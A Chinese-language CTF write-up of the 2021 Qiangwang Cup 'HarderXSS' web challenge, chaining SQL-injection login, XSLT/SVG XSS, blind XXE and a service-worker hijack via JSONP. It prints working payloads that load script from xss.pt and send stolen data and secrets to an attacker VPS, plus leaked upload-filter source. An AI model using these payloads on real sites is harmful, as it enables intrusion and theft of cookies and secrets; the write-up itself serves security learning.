2021-强网杯Web-HarderXSS-复现-WP

/ ctf

2021-强网杯Web-HarderXSS复现

赛中

打开容器

image-20210614191258137

看看页面,有登录框

image-20210614191343066

尝试了有注入点

image-20210614192028777

ban了from 感觉基本没办法再注入了

不过可以直接用注入直接登录

image-20210614192134102

但是登录之后还是显示请先登录

image-20210614192234925

后来题目给出了hint:”注意cookie的domain”

image-20210614192332379

看了set-cookie,发现domain不同域名,没办法设置,只能手动设置cookie了

登录成功,有个提交反馈页面

image-20210614192703538

测试一下,验证码前五位直接爆破即可

1
2
3
4
5
6
7
8
def md5(s):
return hashlib.md5(s).hexdigest()
def verify(s):
for i in range(1, 9999999):
if md5(str(i).encode("utf8")).startswith(s):
return(i)
break
print(verify("6febd"))

image-20210614193830258

image-20210614193910402

是能够实时收到有bot请求的

由于我们是admin登录,所以admin页面可以访问

image-20210614192802718

admin页面的源码中有个display:none的元素image-20210614193138984

但是没办法访问,估计需要打ssrf

网站上也有用户模块可以访问,可以上传头像,并且也可以实时预览

image-20210614192909521

现在我们有:

1.用户模块可以上传图片和文件(admin页面提到支持矢量图)

2.提交反馈页面,上面可以提交链接,并让bot实时访问

3.有一个https://flaaaaaaaag.cubestone.com?secret=demo,但是需要内网访问

首先从上传图片如果,因为矢量图是xml,并且会有回显,可以打xss和xxe(xxe不大会,是师兄打的,后来也临时学习了一下),打了xss之后,通过提交反馈的页面,让bot访问。

使用xslt+svg来让页面显示html并执行script,尝试的时候发现过滤了script和onload等,最后是通过onanimationend来执行js代码。

先上传一个test.jpg

1
2
3
4
5
6
7
8
9
10
11
<!-- test.jpg -->
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<head><style>@keyframes x{}</style></head>
<body>
<svg style="animation-name:x" onanimationend="alert(1);"></svg>
</body></html>
</xsl:template>
</xsl:stylesheet>

上传后文件的地址为/upload/021aff8ed0971cfd569e7e5ac414b169

再上传一个test.svg,需要将test.jpg的地址放进去让test.svg获取xlst描述文件

1
2
3
4
5
6
7
<!-- test.svg -->
<?xml version="1.0" standalone="no"?>
<?xml-stylesheet type="text/xsl" href="/upload/021aff8ed0971cfd569e7e5ac414b169"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
</svg>

尝试访问一下

image-20210614195629974

成功植入xss,现在可以让bot去访问了

找了个xss平台,需要支持https,因为内网bot访问的路径是https的,这里找的是xss.pt

重新上传jpg文件

1
2
3
4
5
6
7
8
9
10
11
<!-- test.jpg -->
<?xml version="1.0" encoding="iso-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<head><style>@keyframes x{}</style></head>
<body>
<svg style="animation-name:x" onanimationend="s=createElement('scr'+'ipt');body.appendChild(s);s.src='https://xss.pt/0mI0';"></svg>
</body></html>
</xsl:template>
</xsl:stylesheet>

并让bot去访问,这里写了一个自动提交反馈的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
import hashlib,requests

url = "http://eci-2ze2ci7vzdnfptgng1w2.cloudeci1.ichunqiu.com"
cookie = "PHPSESSID=ajsshtnlk1lg06r3ie0tek0eus"
header = {
"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
"accept-encoding": "gzip, deflate, br",
"accept-language": "zh,en;q=0.9,zh-CN;q=0.8",
"cache-control": "max-age=0",
"cookie": cookie,
"sec-ch-ua-mobile": "?0",
"sec-fetch-dest": "document",
"sec-fetch-mode": "navigate",
"sec-fetch-site": "none",
"sec-fetch-user": "?1",
"upgrade-insecure-requests": "1",
"user-agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36"
}

def md5(s):
return hashlib.md5(s).hexdigest()
def verify(s):
for i in range(1, 9999999):
if md5(str(i).encode("utf8")).startswith(s):
return(i)
break

a = requests.get(url+"/submit/",headers=header)
code = a.text.split("验证码MD5后前五位是")[1][0:5]
a = requests.post(url+"/submit/submit.php",data={
"describe": 123,
"link": "https://feedback.cubestone.com/user/",
"vcode": verify(code),
"submit": "%E6%8F%90%E4%BA%A4"
},headers=header)
print(a.text)

image-20210614200604405

image-20210614200647730

收到了内网的cookie,已经成功让bot访问到了,那么就可以通过这个执行任意的js代码了。

但是https://flaaaaaaaag.cubestone.com?secret=demo因为跨域,没有办法通过js访问,也无法看到有什么内容。

这时候师兄通过xxe来成功访问到内网(感谢师兄的引导,又学到东西了)

具体做法是,在自己的vps上放一个外部dtd,(这里测试了,ban了file等等协议,只有php://filter和http(s)://能用,而且由于需要回显,需要将内容base64转码后再传出,要不然会被xml执行到,导致无法执行代码)

1
2
<!ENTITY % data SYSTEM "php://filter/read=convert.base64-encode/resource=https://flaaaaaaaag.cubestone.com/?secret=cube">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://vps_domain:port/%data;'>">

然后传上一个svg来引入外部实体执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://your_domain/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>

执行之后拿到的回显是

1
2
3
4
5
6
<script >
document.domain="cubestone.com";
function pageload(data){
document.body.innerText=data;
}
fetch(`loader.php?callback=pageload&secret=cube`).then((res)=>{return res.text();}).then((data)=>{e

是一个script标签,loader.php?callback=pageload&secret=cube也访问一下吧,看看是什么

1
pageload('Control center access require a vaild secret key. You entered a invaild secret!')

由此可知,这里有一个jsonp的跨域漏洞

然后php://filter也可以获取代码,拿到了upload.php的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
<?php
session_start();
// ini_set("display_errors","off");
// error_reporting(0);
if(!array_key_exists("login",$_SESSION)){
die("login first");
}
else if($_SESSION["login"]===0){
die("login first");
}
$encode=$_POST["data"];
if(substr($encode,0,5)!="data:"){
die("You!Hacker!");
}
$decode=file_get_contents($encode);
// var_dump($decode);
if(!(substr($decode,0,2)==="\xFF\xD8" or substr($decode,0,2)==="BM" or substr($decode,0,2)=="\x89\x50" or substr($decode,0,2)==="GI")){
// libxml_disable_entity_loader(true);
$dom = new DOMDocument();
$res=$dom->loadXML($decode,LIBXML_DTDLOAD);
if(!$res)
die("Not Image!");
$decode1=$dom->saveXML();
// highlight_string($deocde1);
//防止本地文件读取
if(preg_match("/file:|data:|zlib:|php:\/\/stdin|php:\/\/input|php:\/\/fd|php:\/\/memory|php:\/\/temp|expect:|ogg:|rar:|glob:|phar:|ftp:|ssh2:|bzip2:|zip:|ftps:/i",$decode1,$matches))
die("unsupport protocol: ".$matches[0]);
if(preg_match("/\/var|\/etc|\.\.|\/proc/i",$decode1,$matches)){
die("Illegal URI: ".$matches[0]);
}
$res=$dom->loadXML($decode,LIBXML_NOENT);
if(!$res)
die("Not Image!");
$decode=$dom->saveXML();

// highlight_string($decode);
//防止xss
if(preg_match("/script|object|embed|onload\s*=/i",$decode))
die("no script!");
// $encode="data:image/svg+xml;base64,".base64_encode($decode);
}
$filename=md5(rand());
file_put_contents("../upload/".$filename,$decode);
$filename='/upload/'.$filename;
$con=new mysqli("localhost","ctf","123456","ctf");
$res=$con->query("select img from avatar where userid=$_SESSION[login]");
if($res){
if($res->fetch_row()){
// echo "update avatar set img='$filename' where userid=$_SESSION[login]";
$res=$con->query("update avatar set img='$filename' where userid=$_SESSION[login]");
if($res!==TRUE){
// echo $con->error;
$con->close();
}
die("update success");
}
}
$res=$con->query("insert into avatar values($_SESSION[login],'$filename')");
$con->commit();
die("upload success");

可以看到ban掉了很多协议,路径上也没办法访问上一层和etc等

到这里,直到比赛结束都没有更多的进展了,secret也一直找不到。

赛后复现

赛后与出题人交流的时候,发了一张图给我们

image-20210614203136545

早知道就应该搜搜题目!!!(T_T)

毫无疑问,做题思路应该跟这个题差不多了。

看了一下文章,是通过serviceWorker来截取浏览器的请求

image-20210614203434189

这里也有比较隐晦地提示bot会先打开我们提交的链接,再打开flaaaaaaaag.cubestone.com,这时候我们可以通过xss跨域植入serviceWorker来截取flaaaaaaaag站的请求。

参考文章,我打了如下的payload

首先用xss植入iframe,让iframe跨域加载flaaaaaaaag站,然后在iframe注册一个sw

看了文章,我们知道sw注册必须同源,那么我们可以通过loader.php的jsonp来引入外部js给sw注册。

在xss平台中放入如下的js代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
if(!window.__x){
document.domain = "cubestone.com";
var iframe = document.createElement('iframe');
iframe.src = 'https://flaaaaaaaag.cubestone.com';
iframe.addEventListener("load", function(){ iffLoadover(); });
document.body.appendChild(iframe);
exp = `
var xhr = new XMLHttpRequest();
navigator.serviceWorker.register("/loader.php?secret=asdasd&callback=importScripts('//your_vps/sw.js');//")`;
function iffLoadover(){
iframe.contentWindow.eval(exp);
}
window.__x=1;
}

然后在自己的vps中放一个sw.js来添加sw的监听事件,

1
2
3
4
5
6
this.addEventListener('fetch', function (event) {
var body = "<script>location='http://your_vps:port/'+location.search;</script>";
var init = {headers: {"Content-Type": "text/html"}};
var res = new Response(body, init);
event.respondWith(res.clone());
});

打出去

image-20210614204854880

拿到了secret,同时也得知了,secret就是flag

赛后感想

整个强网杯的时间差不多都耗在这上面了,因为总觉得能解出来,虽然直到赛后通过与出题人交流,得到了hint才能复现出来,感觉十分意难平,但也通过这道题让初入安全的我学习到了很多东西,感谢出题人出了一道如此精彩的题目,也感谢师兄和队员给予我的帮助,整个payload都写得有点随意,请读者(如果有的话)能够多多包涵!

部分参考文章

从一道CTF学习Service Worker的利用:西湖论剑2020-hardxss | Math & Sec ,HACHp1的个人博客

XML所引起的xss攻击_https://www.cnblogs.com/zpchcbd/-CSDN博客